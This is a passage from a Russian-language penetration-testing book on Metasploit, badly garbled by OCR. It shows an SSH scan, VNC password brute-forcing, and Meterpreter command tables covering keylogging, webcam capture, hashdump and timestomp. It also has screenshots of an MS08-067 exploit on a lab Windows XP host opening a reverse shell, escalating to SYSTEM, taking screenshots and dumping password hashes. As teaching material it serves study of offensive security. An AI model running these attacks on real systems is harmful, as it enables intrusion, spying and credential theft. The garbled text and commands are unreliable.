HCII0JIb30BaHa B I[aJ'II:HeﬁIHGﬁ OKCILTyaTaluu.

root@kall: ~
File EdR View Seach Terminal Help

msf > use auxiliary/scanner/ssh/ssh_version
psf auxiliary({scanner/ssh/ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh version)
Naae Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The t p (T¢P)
THREADS 1 yes The current threads
TIMEQUT 30 yes Timeout for the SSH probe
nsf auxil sh_version) > set RHOSTS 192.168.25.129

RHOSTS =>
nsf auxil sh_version) > run
192.168.25.129:22
-Bubuntul service
s.product=Linux o
Scanned 1 of

S5H-2.0-0penssH_4.7pl
SH service.produ
fingerprint_db=ssh.ba

SSH server version: subuntul { service.ver
or=0penBSD service. familys
$10n=8.04 service.protocol=ss
ts (108% complete)

er )

Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_version) >

990

s10n=4.7p1 openssh.comment=Debian

5SH os.vendoreUbuntu os.devicesGeneral os.familysLinux o

Pucynok 3-40. Bvi6o0 6cnomocamenvroeo mooyis ssh_version

VNC

Virtual Network Computing (VNC) - 3T0 mpoTOKOJI, HCIIOJIb3YeMBbIid JIIsI

rpaduuecKoro yaajJeHHOro afMUHUCTpUpoBaHus. Metasploit umeer

HECKOJIBKO MOJYJIeH yist oficuera u skciuryararuu VNC.

Ha pucynke 3-41

MOKa3aHO MCIIOJIb30BAHME BCIIOMOTATeNILHOTO Moy s auxiliary/scanner/

vnc/vne_login. Bam HeoOxonnmMo ycTaHOBUTH 3HaueHue nepemenHoi RHOST

st IP-anpeca Bareit ueneBoil cucreMbl. Moayiib UCIIONIB3YET BCTPOEHHBII

CIIOBaph Mapojiel U MBITaeTCs OCYIIECTBUTH aTaKy MeTofoM nepebopa. Korna

MOYJIb 3aB€PIIACT BLIITOJIHCHHUE, OH AAaCT BaM I1apOJib V NC, KOTOpLIﬁ BEI

MOXKCTC UCIIOJIB30BAaTh AJId BXO/Ja B CUCTCMY.
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Pucynok 3-41. Bvi6o0 6cnomozamenvroeo mooyis vac_login

OcHoBbl Meterpreter

Meterpreter - 3To cokpaiienue ot nepeogunka Metasploit. 1o
pacmmpeHHas nojie3Hast Harpy3ka Metasploit, KoTopast UCTIONB3yeT METOIbI
BHenpeHus: DLL B maMATh JUisi B3aUMOJIEUCTBHUSI € LieTeBoi cucteMoi. OH
MpeJIaraeT HeCKOJIbKO TIOJIe3HBIX HHCTPYMEHTOB M YTHJIUT MTOCIIe

OKCILTyaTaluu.

KomaHabl Meterpreter

Meterpreter - 3To pacmuperHas MoJIe3Hass Harpy3Ka JjIs BBITIOTHEHUS
pa3IMYHBIX ONepanuil mocie sKCIuTyaTanuu. Hinke npuBeieHbl HEKOTOPhIE U3
OCHOBHBIX KOMaHJ, KOTOPBIE MOT'YT IIOMOYb BaM MEPEMELLATHCSA 110
Meterpreter.

OCHOBHblE KOMaHAbI

Tabmuma 3-1 onuceiBaeT HAOOpP OCHOBHBIX KOMaH]T Meterpreter, KOTopbie
MOTYT IIOMOYb BaM C Pa3lINYHbIMU 33/1a9aMH, CBSI3aHHBIMU C CECCHSIMU, B
Balllel LIeJIeBOM cHCTEME.
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Tabnuua 3-1. Komanowvl Meterpreter

Komanpna OO0bsicHeHne
? OrobpaxkaeT MEHIO CIIPaBKH
background DOHBI TEKYIIEH CeCCHu
bgkill Vousaet GpoHOBBIN ckpurT Meterpreter
bglist CITHCKH 3aITyCKAaIOIIEHHBIX (DOHOBBIX
CKPHIITOB
bgrun Brimonnser ckpunt Meterpreter B kauecTse
(hOHOBOTO MOTOKA
channel OrolOpaxkaeT HH(POPMALIHIO HITH
KOHTPOJIMPYET aKTUBHBIE KaHAJIbI
close 3aKphIBacT KaHal

disable_unicode_encoding

OtkrodaeT KomupoBanue ctpok Unicode

enable_unicode_encoding

Bkiouaet kopupoBanue ctpok Unicode

exit

3aBepiraet ceanc Meterpreter

get_timeouts

[lomyuaeT Tekyine 3Ha4eHHsI BpEMEHH
OXKUJIAHUS CeaHca

guid [onyuaer GUID ceanca

help Oto06paxaeT MEHIO CIIPaBKN

info OTtoOpaxkaeT nH(MOpMAIHIIO O POSt MofyIe

irb CoOpaceiBaeT B pexuM cueHapues IRB

load 3arpy»aer OIHO HJIM HECKOJIBKO

paciiupenuit Meterpreter
machine_id [Monyuaer unentudurarop MSF 1D
KOMIIBIOTEPA, HOAKIIOUEHHOTO K CEAHCY
migrate [TepeHOCHT cepBEP Ha JAPYTroi MpoIece

(npooondicenue)
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Taonuya 3-1. (npooondicenue)

Komanpna Oo0bsicHenne
pivot YIpaBIsieT CITyaTesiMu
quit 3aBepmaeT ceanc Meterpreter
read YuTaer JaHHBIC U3 KaHANA
resource 3ammyckaeT KOMaHIbI, XpaHAIecs B Qaiine
run Brmonnssier ckpunt Meterpreter winu post moxynnb
sessions BricTpo nepekiouaeTcs Ha Apyroi ceaHc

set_timeouts

YcranaBnuBaeT TCKYIIHEC 3HAUYCHNA BPCMCHU
OXHJaHuA CCaHCa

sleep Brinyxnaer Meterpreter 3amoiuars, a 3aTeM
BOCCTaHABIIUBAET CECCUIO
transport M3mensieT TeKyluii TpaHCIOPTHBIA MEXaHU3M
uuid [Monyuaer UUID jyist TEKyIEero ceanca
write 3anuchIBaeT JaHHBIE B KaHAI

Stdapi: cuctemHble KomaHabl

Tabnuma 3-2 onuceiBaeT HAOOP OCHOBHBIX CHCTEMHBIX KOMaH/I,

KOTOPBIC MPCAOCTABIAIOT MaCCUB CUCTCMHBIX 3a/la4, TAKUX KaK

CITMCOK IPOUECCCOB U YHUUTOXKCHHUEC, BBIITIOJTHCHUE KOMAH/I,

nepesarpyska u T. A.
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Taobnuua 3-2. Cucmemnvie Komanowi

Komanpna Oo0bsicHeHne
clearev Oumniraer xypHani coObIThit
drop_token Ortka3 ot 1r0060ro akKTHBHOTO TOKEHA
execute Brinonusier komanay
getenv ITomy4aeT ofHO MM HECKOJIBKO 3HAUEHHIH
HEPEMEHHBIX CPeIIbl
getpid [Tomy4aet TeKywMid HACHTU(PHUKATOP IpoLecca
getprivs [TOMBITKH BKITIOYUTH BCE MPUBHIICTHH, TOCTYITHBIC
TEKyIIIEMY MPOLECCY
getsid [Momy4aet uaeHTUPUKATOP OE30MACHOCTH
MOJIB30BATENIS, OT KIMEHH KOTOPOTO paboTtaeT
cepBep.
getuid [Momywaer UID nonp3oBarens, OT IMEHH KOTOPOTO
pabotaet cepBep
kill 3aBepiraeT nporecc
localtime Oto06paxaeT JTOKaIbHYIO JaTy U BpeMsl IIEeBOit
CHCTEMBI
pgrep DUIBTpyeT MPOIIECCHI [0 IMEHH
pkill 3aBepIaeT mpouecchl Mo UMEHH
ps CHHCOK 3aIyIIeHHBIX POLIECCOB
reboot I[TepesarpyxaeT ynaJeHHbIH KOMIBIOTED
reg W3MmeHseT U B3aUMOJEUCTBYET C yAAJIECHHBIM
peectpom
rev2self BessiBaer RevertToSelf() Ha ynanenHoi marimHe
shell COpacbIBaeT B KOMaH/IHYIO 000JIOUKY CHCTEMBbI
shutdown BBIKIIIOYAET yAaICHHBIN KOMITBIOTED
steal_token [TonbITKH yKpacTh TOKEH U3 1IEIEBOTO Mpoliecca
suspend [IprocTaHoOBISIET MM BO3OOHOBIISIET CITUCOK
HPOLIECCOB
sysinfo [Monyyaet uHpOpMAIHIO 00 yIaJIeHHOM! CHCTEME,
takoi kak OC
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Stdapi: komaHgbl MHTEpdEeNca nonb3oBaTens

B Tabnwme 3-3 mepeuncieHsl KOMaH/Ibl, TOMOTAIOIIUE TTOTyYUTh YIaICHHbIE
CHUMKH SKpaHa M HaXKaTHs KIaBUII B [IEJICBOH CHCTEME.

Taonuya 3-3. Komanowl nonvzosamenvckoeo unmepghetica

Komanga Oo0bsicHeHnEe

enumdesktops | Ilepeunciser Bce JOCTyNHEIE pabOYHeE CTONIBI M OKHA

getdesktop [Mony4aet Tekyuuii pabounii cton Meterpreter

idletime Bo3Bpalaer KoIM4eCTBO CEKyH I, B TE4€HHE KOTOPBIX
yaaJeHHbIH 10J1b30BaTe b IPOCTauBall

keyscan_dump |CopacsiBaet Oydep HaxkaTns KIaBUII

keyscan_start |Hauunaer 3aXxBaThIBaTh HaKaTUs KIaBHIL

keyscan_stop  |OcTaHaBnuBaeT 3aXBaT HaKaTHs KIIABHIL

screenshot 3axBaTbIBa€T CKPUHIIOT HHTEPAKTUBHOIO pab04ero
crona

setdesktop N3mensiet Texyimuii pabounii cron Meterpreter

uictl VYrpasiisieT HEKOTOPIMUA KOMITOHEHTaMHU
MOJIb30BATEIBCKOTO HHTEpdeiica

Stdapi: komaHabl BeG-Kamepbl

Tabnuna 3-4 onuceIBaeT KOMaHIbl, KOTOPBIE MOTYT OBITh 3()(heKTUBHBI
MPU TIOJTYYSHHUH KUBBIX H300paKEHHH 1 TOTOKOBOTO BUJIEO C BEO-

KaMepbl, MOAKIIOUYEHHON K CKOMIIPOMETHPOBAHHOU CHCTEME.
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Tabnuua 3-4. Komanowl e6-kamepol

Komanma

Oo0nsacHeHue

record_mc

3anmcheIBaeT 3ByK ¢ MUKPOQOHA IO
YMOJTYAHHUIO B TCUCHUE X CEKYH]T

webcam_chat

3amyckaeT BUIEO YaT

webcam_list

Crmcku BeO-Kamep

webcam_snap

JlemaeT CHUMOK C yKa3aHHOW BeO-KaMephI

webcam_stream

Bocnpoussenenue BUICONOTOKA C
yKa3aHHOW BeO-KaMephl

Stdapi: komaHab! BbiBOAa 3BYyKa

Tabnuma 3-5 onwceIBaeT KOMaHy, KOTOpast TIOMOTAeT BOCITPOU3BOIUTh

ayauohaiiibl B CKOMIIPOMETUPOBAHHON CHCTEME.

Tabnuuya 3-5. Komanoa evieooa 368yka

Komannga

Oo0nsacHenue

play Bocmpoussenenue ayauodaiina B ieneBoit cucreme 0e3
3aIlMCH Ha JIUCK

Priv: lNoBbllWweHWe npnsunerum

Tabmura 3-6 omUCHIBAaCT KOMAaHTY, KOTOpasi TIOMOTAET BaM ITOBLICUTH

MNPUBUJICTUN 10 MAKCUMAJIbBHO BO3MOXHOT'O0 YPOBHA, BOBMOXHO, root uiu

AIMHUHHUCTPATOP.

Tabnuya 3-6. Komanoa nosvlwenus npuguiecutl

Komanna

Oo0nsacHeHNe

getsystem IlonbITKM NOBBICUTH BaIlld IPUBUIIETUH 10
MPUBUIIETUM JTOKAJIbHOW CUCTEMBI
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Priv: kKomaHabl 6a3bl naponen

Tabnmuna 3-7 onuceiBaeT KOMaHAy, KOTOpasi TOMOTraeT BaM MOIYyYUTh
HEoOpaboTaHHBIE X3IIH MTAPOJIEH 0T CKOMIIPOMETUPOBAHHON CHCTEMBI.

Taonuya 3-1. Komanowl 6asel naponeii
Komanna Oo0bsicHeHune

hashdump CopacbiBaeT cofepxkumoe 6a3bl TaHHBIX SAM

Priv: KomaHgbl Timestomp

Tabnmuna 3-8 onuceIBaeT KOMaHIy, KOTOpas SIBJISIETCS YaCThIO

anTu(ope3nIecKux Bo3MokHOCTel Metasploit.

Tabnuya 3-8. Komanow Timestomp

Komanna Oo0nsicHeHne

timestomp Vpasnser arpudyramu MACE ¢aiina

icnonb3oBaHue Meterpreter

Uro651 mo3HakoMUTRCS ¢ Meterpreter, qaBaiiTe cCHavYasa MOXYIUM yIaJeHHBIH
JOCTYII K IIEJIEBOM CHCTEME ¢ TIOMOIIEI0 ys3Bumoctd SMB MS08-067 netapi,
KaK [IOKa3aHO Ha PUCYHKE 3-42. DKCIJIOUT ObLT yCIICIIHBIM, U BbI HOIYYHIN

obosouky Meterpreter.
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root@kali: ~ (- IO~}
File ' Edit View Search Terminal Help
nsf > use exploit/windows/smb/ms08 067 netapi &
msf exploitiwindows/seb/ms08 067 netapi) > show options

Module options (exploit/windows/smb/mse8 867 netapi):

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target
Id Name

8  Autosatic Targeting

ms! exploit(windows/ssb/ms08_067_netapi) > set RHOST 192.168.25.130
RHOST => 192.168.25.130
nsf exploit(windows/seb/ms08_067 _netapi) > exploit

Started reverse TCP handler on 192.168.25.128:4444
] 192.168.25.130:445 - Automatically detecting the target...
*] 192.168.25.1 S - Fingerprint: Windows XP - Service Pack 3 lang:English
*] 192.168.25.130:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
192.168.25.130:445 - Attempting to trigger the vulnerability...
1 Sending stage (179779 bytes) to 192.168.25.130
*] Meterpreter session 1 opened (192.168.25.128:4444 -> 192.168.25.130:1412) at 2018-09-24 15:30:22 +0530

meterpreter >

Pucynok 3-42. Yenewnas sxeniyamayus yenesou CUcmemsl ¢
ucnoavzogarnuem sxcniotma ms08_067 netapi

sysinfo

[Mocne Toro, Kak BbI CKOMIIPOMETHPOBAIIH IIEJTb C IIOMOIIBIO SKCIUIONTa, BaM
HEOOXOIMMO MPOBEPUTH HEKOTOPbIE OCHOBHBIE CBEICHHS O 1EJIH, TAKUE KaK
TOYHaA BEPCHUA OHepaHHOHHOﬁ CUCTCMbI, UM KOMIILIOTEpA, TOMECH,
apxurekTypa u T. [|. Meterpreter npeanaraer komanay sysinfo, KOTOpyro
MOXHO MCIIOJIB30BaTh AJ1s1 cOopa 6a30Boi MH(OPMALIMH O LIENH, KaK [TOKa3aHO
Ha puc. 3-43.

root@kali: ~ (- O <)
File” Edr View Search Termiml Help
nst exploit(windows/seb/ms08_067_netapi) > exploit Z

*] Started reverse TCP handler on 192.168.25.128:4444

*] 192.168.25.130:445 - Automatically detecting the target...

192.168.25.130:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

192.168.25.130:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

] 192.168.25.130:445 - Attesptling to trigger the vulnerability..

*] Sending stage (179779 bytes) to 192.168.25.130

*] Meterpreter session 2 opened (192.168.25.128:4444 -> 192.168.25.130:1452) at 2018-09-24 16:90:42 +0530

meterpreter > sysinfo

Conputer SAGAR-C51B4AADE

s : Windows XP (Build 2680, Service Pack 3).
Architecture : x86

System Language : en_US

Domain : MSHOME

Logged On Users : 1

Meterpreter 1 x86/windows

neterpreter >

Pucynoxk 3-43. Bv16o0 komanowl sysinfo 6 Meterpreter
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Is

Komanay Meterpreter IS MOXXHO HCITONB30BATh IS BBIBO/IA CIIHCKA (aiiIoB B

TEKyIIEM KaTajore B CKOMIPOMETHPOBAHHON CHCTEME, KaK MOKa3aHo Ha PHC.
3-44.

File Edit View Search Terminal

[*] 192.168.25.130:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

[*] 192.168.25.130:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

[*] 192.168.25.130:445 - Attempting to trigger the vulnerability...

[*] Sending stage (179779 bytes) to 192.168.25.130

[*] Meterpreter session 3 opened (192.168.25.128:4444 -> 192.168.25.130:1453) at 2018-09-24 16:03:59 +0530

neterpreter > ls
dsting: C:\WINDOWS\system32

Aode Size Type Last modified Name

100666/ rw-rw-rw- 1568 fil  2017-81-24 09:19:43 +6530 S$winnts.inf
VO777/rwxrwxrwx @ dir 2017-81-24 14:24:43 40530 1025

10777/ rwxrwxrwx @ dir  2017-61-24 14:24:43 +0530 1028

10777/ rwxrwxrwx 0O dir 2017-81-24 14:24:43 +6530 1031

0777/ rwxrwxrwx 0 dir 2817-61-24 14:24:57 46530 1033

0777/ rwxrwxrwx 0 dir 2017-81-24 14:24:43 +0530 1037
WOT777/raxrwxrwx 0 dir 2817-81-24 14:24:43 48530 1041

10777/ rwxXrwxrwx @ dir 2817-61-24 14:24:43 6530 1042

10777/ rvxrwxrwx @ dir 2017-81-24 14:24:43 46530 1054

LOO666/ rw-rw-rw- 2151 fil  2001-08-23 16:30:00 +0530 12520437.cpx
100666/ rw-rw-rw- 2233 fil 2001-68-23 16:36:00 +6530 12520850.cpx
10777/ rvxrwxrwx @ dir  2017-81-24 14:24:43 +0536 2052

10777/ rvxrwxrwx O dir 2017-81-24 14:24:43 40530 3076

10777/ rvxrwxrwx 0 dir  2017-81-24 14:24:43 +0530 3com dmi
100666/ rv-rw-rw- 100352 fil  2008-64-14 10:11:50 #6530 6todsvc.dll
100666/ rw-rw-rw- 1688 fil  2001-68-23 16:30:00 +0530 AUTOEXEC.NT
100666/ rw-rw-rw- 2577 fil  2017-61-24 09:16:14 +8530 CONFIG.NT
L0666/ rw-rw-rw- 2577 fil 2001-68-23 16:30:60 +6530 CONFIG.TMP

100666/ rv-rw-rw- 66082 fil  2001-68-23 16:30:00 +6530 C 28594.NLS
100666/ rw-rw-rw- 66082 fil 2601-68-23 16:30:00 46536 C 28595.NLS

LOO666/ rvw-rw-rw- 66082 fil 2001-88-23 16:30:00 46530 C 28597.NLS

0777/ rvxXrwxrwx 0 dir  2018-69-24 15:33:19 +6530 CatRoot

10777/ rvxrwxrwx @ dir 2018-09-24 15:31:18 40530 CatRoot2

10777/ rvxrwxmwx @ dir 2017-81-24 09:12:16 +6530¢ Com

100666/ rw-rw-rw- © fil  2018-68-21 14:55:17 +8530 Confidential.txt.txt
L0666/ rw-rw-rw- 1804 fil 2008-04-14 10:25:28 40530 Dcache.bin

0777/ rwxrwxrwx 0 dir  2017-81-24 09:13:18 +8530 DirectX

LO0666/ rw-rw-rw- 103424 fil 2001-88-23 16:30:00 +8530 EqnClass.Dll
100666/ rw-rw-rw- 90296 fil  2017-01-24 09:20:20 +6530 FNTCACHE.DAT
10777/ rWXrwxiwx @ dir 2017-61-24 14:24:43 +6530 IME
L00444/r--r--r-- 6656 fil 2001-88-23 16:30:00 46530 KBDAL.OLL
100666/ rw-rw-rw- 297984 fil  2008-84-14 10:12:00 +6530 MSCTF.dll
180666/ rw-rw-rw- 177152 fil 2008-04-14 10:10:08 +8530 MSCTFIME.IME
100666/ rw-rw-rw- 68608 fil 2008-84-14 10:12:06 +0530 MSCTFP.dLL
100666/ rvw-rw-rw- 159232 fil  2008-64-14 10:12:00 +0530 MSINTF.dll

30777/ raxrwxrwx 0 dir  2017-01-24 09:13:08 40530 Macromed

0777/ rvxrwxrwx @ dir 2017-01-24 09:20:38 46530 Microsoft

10777/ rWxrwxrwx O dir 2017-81-24 09:12:04 +6530 MsDtc

LOOBO6/ rw-rw-rw- 458340 fil 2018-68-14 09:52:50 46530 PerfStringBackup.INI
10777/ rwxrwxrwx @ dir  2017-81-24 ©09:24:31 +6530 ReinstallBackups
10777/ rwxrwxrwx 0 dir 2017-81-24 09:20:57 48530 Restore

0777/ rwxrwxrwx 0 dir  2017-61-24 14:26:13 +8530 Setup

0777/ raxrwxrwx. 0 dir  2817-81-24 14:24:43 40530 Shellfxt

Pucynok 3-44. Bviso0 6cnomocamenbroli KOMaHObl Is 6 cnucox gaiinos
Meterpreter 6 YOaneHHOU CKOMIPOMEMUPOBAHHOL CUCTIEME
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getuid

[TomyuuB HOCTYTI K 1€JI€BOI1 cHCTEME, BB TOJKHBI TIOHUMATh, KAaKHe
MOJTF30BATEIHLCKUE IPUBIIIETHH y Bac €CTh B cucTteMe. Hammane
MIPUBIJIET WA 100t MITM YPOBHS /IMHHUCTPATOPa SBISIETCS Hanboee
JKeJaTeIbHBIM, a TOCTYT ¢ 60JIee HU3KUMHU PUBUJIETUSMH TTOIPa3yMEBaeT
MHOKECTBO OI'paHMYEHUMN Ha Ballld JIelcTBUsA. Meterpreter mpeaiaraer
KoMaH[y getuid, Kak Mmoka3aHo Ha pHc. 3-45, KOTopasi MpoBepsSeT TEKYIIUi
YPOBEHB MTPUBUIIETUNA B CKOMIIPOMETUPOBAHHOW CUCTEME.

root@al: - ©00

File Edit View Search Terminsl Help
msf exploit(windows/smb/ms08_067 netapi) > exploit

Started reverse TCP handler on 192.168.25.128:4444
192.168.25.130:445 Automaticall ¢
i rprint

service Pack 3 lang:English
s XP SP3 English (AlwaysOn NX)
3 t he vulnerability..
Send 79779 bytes) to 18 5.130
Meterpreter session 4 opened (192.168.25.128:4444 -> 192.168.25.130:1456) at 2018-09-24 16:07:53 +08530

meterpreter > getuid
Server usernane: NT AUTHORITY\SYSTEM
peterpreter > i

Pucynok 3-45. Bvisoo komanowl getuid 6 Meterpreter

getsystem

ITocne Toro, Kak BbI IIOJYUYUIIM TOCTYII K LIEJIEBOM CUCTEME, HCIIONIB3YS
COOTBETCTBYIOILIMH KCIIJIONT, CIIEAYIOIINM JIOTHYECKUM IaroM OyaeT
npoBepka npuBmieruii. Mcrons3ys koManmy getuid, BB yKe U3MEPHITH CBOH
TEKYIIUH YPOBEHb PUBWIETMI. BO3MOXKHO, BBl HE NIOJYUYMIIM 1IpaBa root UiIu
aJIMUHHCTPATOPA. IIO3TOMY, YTOOBI MAKCUMHU3HPOBATh IPOHUKHOBEHHUE ATAKH,
Ba)KHO TOBBICUTh IPUBWIIETUH NIOJIb30BaTeNsl. Meterpreter mOMOXeT BaM
HOBBICUTH NprBHiIeruu. [locne oTkpeiTHs ceanca Meterpreter Bbl MOXKETE
WCTIOJIb30BaTh KOMaHy getsystem, Kak IMoKa3aHo Ha puc. 3-46, s

IIOBBIIICHUA HpI/IBI/IJ'IGFI/Iﬁ J0 YpPOBHS aIMUHUCTpATOpPA.
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root@bali: ~ o0
File Edit View Search Terminal Help
msf exploit(windows/seb/ms08_067_netapi) > exploit oy

*] Started reverse TCP handler on 192.168.25.128:4444
192.168.25.130:445 - Automatically detecting the target
192.168.25.130:44 Fingerprint: windows XP - Service Pack 3 - lang:English
] 192.168.25.138 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
] 192.168.25.130:445 - Atteapting to trigger the vulnerability...
] Sending stage (173779 bytes) to 192.168.25.130
*] Meterpreter session 7 opened (192.168.25.128:4444 -> 192.168.25.130:1483) at 2018-09-24 16:14:02 +8530

meterpreter > getsystem
.got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))
neterpreter > i

Pucynok 3-46. Bvisoo komanowi getsystem ¢ Meterpreter

screenshot

[Tocie koMmpoMeTanuy CUCTEMbI HHTEPECHO B3MISIHYTh Ha TpadUIeCcKuid
nHTepdelic pabovero cTomna, pabOTAIOIIHIA B IeNIeBOi cucteme. Meterpreter
MpeJIaraeT yTHINTY, N3BECTHYIO KaK CKPHHIIOT, KaK TTOKa3aHO Ha PUCYHKE 3-
47. OH npocTo JIeNIaeT CHUMOK TEKYIIero paboyero cTosa B LIEIEeBOM cucTeMe
U COXPAHSIET €0 B JIOKAJIbHON KOPHEBOW Marke.

root@kali: ~ o0
File  Edit View Search Terminal Help
maf exploit(windows/smb/ms08_067_netapi) > exploit -y

*] Started reverse TCP handler on 192.168.25.128:4444
192.168.25.130:445 - Automatically detecting the target
| 192.168.25,130:445 Fingerprint: windows XP - Service Pack 3 lang:English
] 192.168.25.138:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
] 192.168.25.130:445 - Attempting to trigger the vulnerability...
| Sending stage (179779 bytes) to 192.168.25.130
*] Meterpreter session 5 opened (192.168.25.128:4444 -> 192.168.25.130:1459) at 2018-09-24 16:09:30 +0530

meterpreter > screenshot
Screenshot saved to: /root/EwATCQOp.jpeg
meterpreter > i

Pucynok 3-47. Bvisoo komanowl ckpuruwioma ¢ Meterpreter

Ha puc. 3-48 nokasaH sxpaH pabo4ero CToJa, CHITHIHI
CKOMIPOMETUPOBAHHOMN CUCTEMBL.
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Pucynok 3-48. Cxpunwom paboueeo cmona, pabomarowe2o Ha
VOQNEHHOU CKOMRPOMEMUPOBAHHOU CUCEME

hashdump

Ilocne ycmemHoro KOMIIpOMETalMd CHCTEMbl BaM HaBEpHSKA 3axX0ueTcs
[OJIYYMTh YUETHBIE JJAHHBIE PA3HbIX I0Jb30BaTeNeH B 3101 cucrteme. [locie
OTKpBITHS ceanca Meterpreter BBl MOYKETE UCTIONB30BaTh KoMaHay hashdump,
yro0bl cOpocuth Bce xomm LM u NTLM u3 cxommpomMeTHpoBaHHON
CHCTEMBI, Kak Toka3aHo Ha puc. 3-49. Korma y Bac €cTh 3TH XdIH, BEI
MOXXETe Tepe/laBaTh HMX pa3IN4HbIM O(IaiiH-B3JIOMIIMKAM M H3BJIEKaTh

napoJii B BUAC NpOCTOro TCKCTA.

root@ials ~ ©e00

File Edit View Search Terminal Help

*] 192.168.25.130:445 - Fingerprint: wWindows XP - Service Pack 3 - lang:English =
[*] 192.168.25.130:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] 192.168.25.130:445 - Attespting to trigger the vulnerability...

[*]) Sending stage (179779 bytes) to 192.168,25.130

*] Meterpreter session 6 opened (192.168.25.128:4444 -> 192.168,25,130:1482) at 2018-89-24 16:12:49 +0530
meterpreter > hashdusp
Adainistrator:568:ce8f39¢lcfenllaclaaBl8381ede281b: babbat 7912756845191 17608218611 :;
Guest:501:aad3b435b51404ecaad3b435b51484ee:31d6cfedd16ae931b73¢59d7€0C0BICO: : ¢
HelpAssistant;1600:1dfb83c2aeb861b2cec506cca318fce?:8120b87e1c4823dcad5f327767ebi6ad: : :

shareuser:1003: 10d4120d764f fe81aad3b435b51404ee: 209c6174da498caeba2213faSa7ae634: ::

SUPPORT 388945a0:1002:aad3b435b51404eeaad3bd35b51404ee:9b7dc3244201215161926d983a168d5d: : :

test:1084: fod412bd764f feBlaad3b435b51404ee:209c6174dad90caebq2213fa5a7ae634: : ¢
neterpreter > i

Pucynox 3-49. Bovixoo ecnomocamenvnozo mooyas vac_login
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masa 3 Metasploit

Searchsploit

Jo cux mop BBI y3HaIH, uTo Metasploit umeeT 60raTyro KOJIIEKITHIO
BCIIOMOTaTEJIbHBIX MTPOrPaMM, SKCIIOUTOB, TOJIE3HBIX HATPY30K,
KOIMPOBIIHUKOB U Tak Aanee. OgHako nHOTHa B Metasploit Ko sKcIuTonTa A1s
OIIPE/ICICHHON YS3BEMOCTH MOKET OTCYTCTBOBaTh. B TakoM cirygae Bam
MOXET OTPeOOBATHCSI UMIIOPTHPOBATH TPeOyeMbIid IKCILIONT B Metasploit u3
BHeIHero ucroyHuka. Exploit-DB - aTo ncuepnsiBaromunii HCTOUHUK
AKCIUTONTOB ISl pa3UYHBIX TutaTtdopm, a Searchsploit - 3To yrunmra, KoTopas
MMOMOTaeT HAMTH ompeeNeHHbIH dKcIuIoiT B Exploit-DB. Ha puc. 3-50
MOKa3aHO UCIOJIb30BaHNEe HHCTpYMeHTa Searchsploit /ist morcka SKCIUIONTOB,

CBsI3aHHEIX ¢ uTorrent.

Pucynox 3-50. Hcnonvzosanue uncmpymenma Searchsploit ons noucka
IKCNIOUMO8, ceazanHbix ¢ ulorrent

Pe3ome

B »710i 11aBe BB TO3HAKOMIJIMCH C Pa3IMYHBIMU acniekramMu Metasploit,
Ha4YMHAs CO BCIIOMOTATENbHON CTPYKTYpHI framewnd 1 3akaH4YBast
HCIIOJIB30BAHUEM IKCIIJIONTOB U CEPBHUCOB. BRI Takke y3HaIH, Kak

WCTIOJIB30BaTh BO3MOKHOCTH Metasploit st uaTterpanmu NMAP n
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masa 3 Metasploit

OpenVAS. H3yunB pa3nuuHble mosie3HbIe Harpy3ku Metasploit,
BCIIOMOTaTeNIbHBIE CPECTBA M AKCIIONTHI, B CIICAYIOIIEH I71aBe BB
HAy4YUTECh IPUMEHSATH 3TH HABBIKH JIs1 9KCIUTyaTalluy YSI3BUMOM MaIlIWHBI.

YnpaxHeHusa «Caenan cam» (DIY)

\ [IpocmotpuTe karanor Metasploit u TOHMHUTE €ro CTPYKTYpY.

\ IMonpoOytiTe pa3nuuHbIC KOMaH/bI, TAKKE Kak set, setg, unset,
unsetg, spool u apyrue.

o\ Wuunuupoats ckanuposanue NMAP u3z MSFconsole.

o\ BeIIOJIHATE OLIEHKY YSI3BUMOCTH B LIEJIEBOM CUCTEME,
ucrnonb3ys OpenVAS n3 MSFconsole.

A\ Uccnenyiite pa3nuyHble BCIOMOTaTeIbHbIE MOAYJIA U
KCIIOJNIB3YHTE MX JJIs CKaHUpOBaHus Takux cinyx0, kak HTTP, FTP, SSH

urt /.

!\ [MompoOyiiTe pasnuunbie GyHKIMKA Meterpreter, Takue Kak
getsystem u hashdump.
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MABA 4

NMMpumep ncnonb3oBaHuA

B NpeALIAYIIUX TPEX IIaBaX Bbl IO3HAKOMUIIUCH C OCHOBHBIMU
uHctpyMenTamu NMAP, OpenVAS u Metasploit. Bet mogpo6Ho y3Hanu o
Ka)XJIOM U3 3THX HHCTPYMEHTOB, & TAKXKE O TOM, KaK KX MOXHO
WHTETPUPOBATH JIPYT C JPYTOM JUIsl TOBBILICHNUS () (HEKTHBHOCTH.

TCHCpb IIpUIIIO BpeMs O6’I:»CIH/IHI/ITB BCC OTU 3HAHUA U IPUMCHUTH UX B
MPaKTUYECKOM ClieHapuu. B 3Toil riiaBe BBl OyJeTe MPUMEHATH Pa3IuvHbIC
METO/IbI, KOTOPBIE BbI U3YUHJIH JI0 CHX TIOp, YTOOBI HCIIOIb30BaTh YSI3BUMYIO

CHCTEMY H IOJIYYUTh K HEH TOCTYII.

CospnaHue BUpTYyanbHo nabopatopun

BosMorkHo, HE Beeria yacTcsi onmpo0oBaTh CBOM HEABHO TIPHOOPETEHHBIC
HAaBBIKH B peajibHBIX MTPOU3BOACTBEHHBIX cucTeMax. CieoBaTeabHO, BB
MOXKETE OTPAaHUYHUTh CBOW HABHIKK B CBOEH BUPTyaIbHOU J1ab0paTopuu.

Vulnhub (https://www.vulnhub.com) sTo caiiT, KOTOpBI# PeIOCTABIISIET
CUCTEMBI JIJIsl 3arpy3Kd, KOTOpbIE MPEIHAMEPEHHO CAENaHbl ySI3BUMBIMHU.
Bam mpocTo Hy»HO 3arpy3uTh 00pa3 CUCTEMBI 1 3arpy3uTh ero B VirtualBox
unu VMware.

